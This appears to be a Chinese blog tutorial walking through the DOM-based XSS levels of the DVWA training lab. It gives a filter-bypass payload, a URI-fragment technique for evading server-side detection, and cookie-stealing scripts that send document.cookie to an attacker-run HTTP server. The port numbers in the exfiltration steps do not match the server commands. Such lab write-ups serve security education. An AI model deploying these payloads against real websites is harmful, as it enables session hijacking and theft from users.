DVWA -XSS(DOM)-通关教程-完结
XSS 攻击全称跨站脚本攻击。是指用户在 Web 页面中提交恶意脚本,从而使浏览包含恶意脚本的页面的用户在不知情的情况下执行该脚本,导致被攻击的行为。
与 SQL 注入类似,XSS 也是利用提交恶意信息来实现攻击效果的攻击行为。但是 XSS 一般提交的是 Javascript 脚本,运行在 Web 前端,也就是用户的浏览器;而 SQL 注入提交的SQL 指令是在后台数据库服务器执行。所以两者攻击的对象是不一样的。
XSS 按照攻击的手法,一般可以分为反射型 XSS(Reflected)、存储型 XSS(Strored)、DOM 型 XSS(DOM)。
反射型 XSS 是指恶意的攻击脚本包含在 URL 中,只有当用户访问了包含恶意脚本的 URL,才会被害。反射型的攻击,攻击脚本不会写入网站的数据库,是一次性的攻击,所以黑客一般需要诱骗用户点击包含攻击脚本的 URL,才能攻击成功。
存储型 XSS 则是把攻击脚本提交到网站后台数据库,只要有人访问了显示该数据内容的页面,就会被攻击。比较常见的场景就是黑客发表了一篇包含攻击脚本的帖子,那么只要有人访问该帖子内容的用户,就会自动在他们的浏览器上执行攻击脚本。相对于反射型,存储型的 XSS 成功率更高。
DOM 型 XSS 是指基于 DOM 文档对象模型的 XSS 攻击。编写网页时,经常会用到各种 DOM 对象,如document.referer、document.write 等等。DOM 型XSS 攻击的输出点就位于 DOM 对象上。严格来说,DOM 型 XSS 即有可能是反射型,也有可能是存储型
文章目录
- [DVWA -XSS(DOM)-通关教程-完结](#DVWA -XSS(DOM)-通关教程-完结)
Low级别DOM型XSS攻击实战
1.安全级别设置为Low,点击XSS(DOM),进入DOM型XSS攻击页面。可以看到 URL 参数 default

2.尝试在default=后提交弹窗脚本输出当前cookie,可以直接弹窗。说明当前级别没有对攻击脚本做任何过滤和转义。
<script>alert('XSS')</script>

3.目标是获取目标用户的 cookie 值,因此需要使用一个能够获取其 cookie 并将其发送给我们的有效载荷。启动一个 Python3 HTTP 服务器:
$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...

4.输入以下攻击载荷,并将获取到的Cookie值发送到 HTTP 服务器 (注意服务器IP地址的填写)
<script>window.location='http://127.0.0.1:8080/?cookie=' + document.cookie</script>

5.HTTP服务器上即可收到Cookie值

Medium级别DOM型XSS攻击实战
1.安全级别设置为Medium,进入DOM型XSS攻击页面,查看页面源码,发现将 <script 标签替换成了 ?default=English,所以之前的攻击载荷无法正常工作。但查看页面源码会看到一个 select 语句;稍微修改一下攻击载荷即可绕过防御。
</select><svg/onload=alert(1)>


2.可以使用与之前相同的方法来窃取目标用户的 cookie
bash
</select><svg/onload=window.location='http://127.0.0.1:8080/?cookie='+document.cookie>



High级别DOM型XSS攻击实战
1.在这个层面上,开发者设置了一个白名单,只允许使用一组预定义的语言;任何其他语言都会被替换为?default=English。这里发生的情况是,当发送包含有效负载的 GET 请求时,它会被重定向到一个带有?default=English新 GET 请求。
bash
/?default=<script>alert(document.cookie)</script>

2.在阅读 OWASP 关于基于 DOM 的 XSS 的页面,在 "高级技术和衍生技术" 部分中,基于 DOM 的 XSS 论文详细介绍了一种避免服务器端检测的技术。除了 document.location 之外,还描述了有效载荷的其他几个可能位置。
这种避免将有效载荷发送到服务器的技术依赖于这样一个事实: URI 片段(URI 中"#"之后的部分)不会被浏览器发送到服务器 。因此,任何引用 document.location 等的客户端代码都可能容易受到利用片段的攻击,在这种情况下,攻击载荷永远不会被发送到服务器。
例如,上述基于 DOM 的 XSS 可以修改为:
bash
http://www.wwdzs.com/page.html#default=<script>alert(document.cookie)</script>
代码会发起同样的攻击,但服务器却看不到(服务器只会看到对 page.html 的请求,而没有任何 URL 参数)。

3.稍作修改攻击载荷来获取 cookie
bash
python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ..
bash
/xss_d#default=<script>window.location='http://127.0.0.1:8080/?cookie=' + document.cookie</script>
